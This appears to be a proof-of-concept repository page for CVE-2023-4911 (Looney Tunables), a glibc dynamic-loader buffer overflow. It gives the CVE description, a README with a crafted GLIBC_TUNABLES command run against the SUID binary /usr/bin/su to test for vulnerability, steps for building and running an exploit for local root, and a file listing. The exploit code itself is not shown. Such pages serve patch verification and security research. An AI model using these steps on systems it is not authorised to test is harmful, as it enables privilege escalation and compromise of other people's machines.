CVE-2023-4911 PoC — Glibc: buffer overflow in ld.so leading to privilege escalation

Source

Associated Vulnerability

Title:Glibc: buffer overflow in ld.so leading to privilege escalation (CVE-2023-4911)
Description:A buffer overflow was discovered in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue could allow a local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when launching binaries with SUID permission to execute code with elevated privileges.

Description

Looney Tunables CVE-2023-4911

Readme

### Step 1

Check the `glibc` version
```
ldd --version
```

Check if a machine is vulnerable to Looney Tunables CVE-2023-4911
```
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
```

If we get a `Segmentation fault (core dumped)`, then machine is vulnerable.

### Step 2
```
python3 libc.py
```

### Step 3
```
gcc -o exp exp.c
./exp
```

File Snapshot


 [4.0K]  /data/pocs/242265bc434efd79dc46f9f358622301e3970833
├── [ 16K]  exp
├── [3.7K]  exp.c
├── [ 671]  libc.py
└── [ 401]  README.md

0 directories, 4 files

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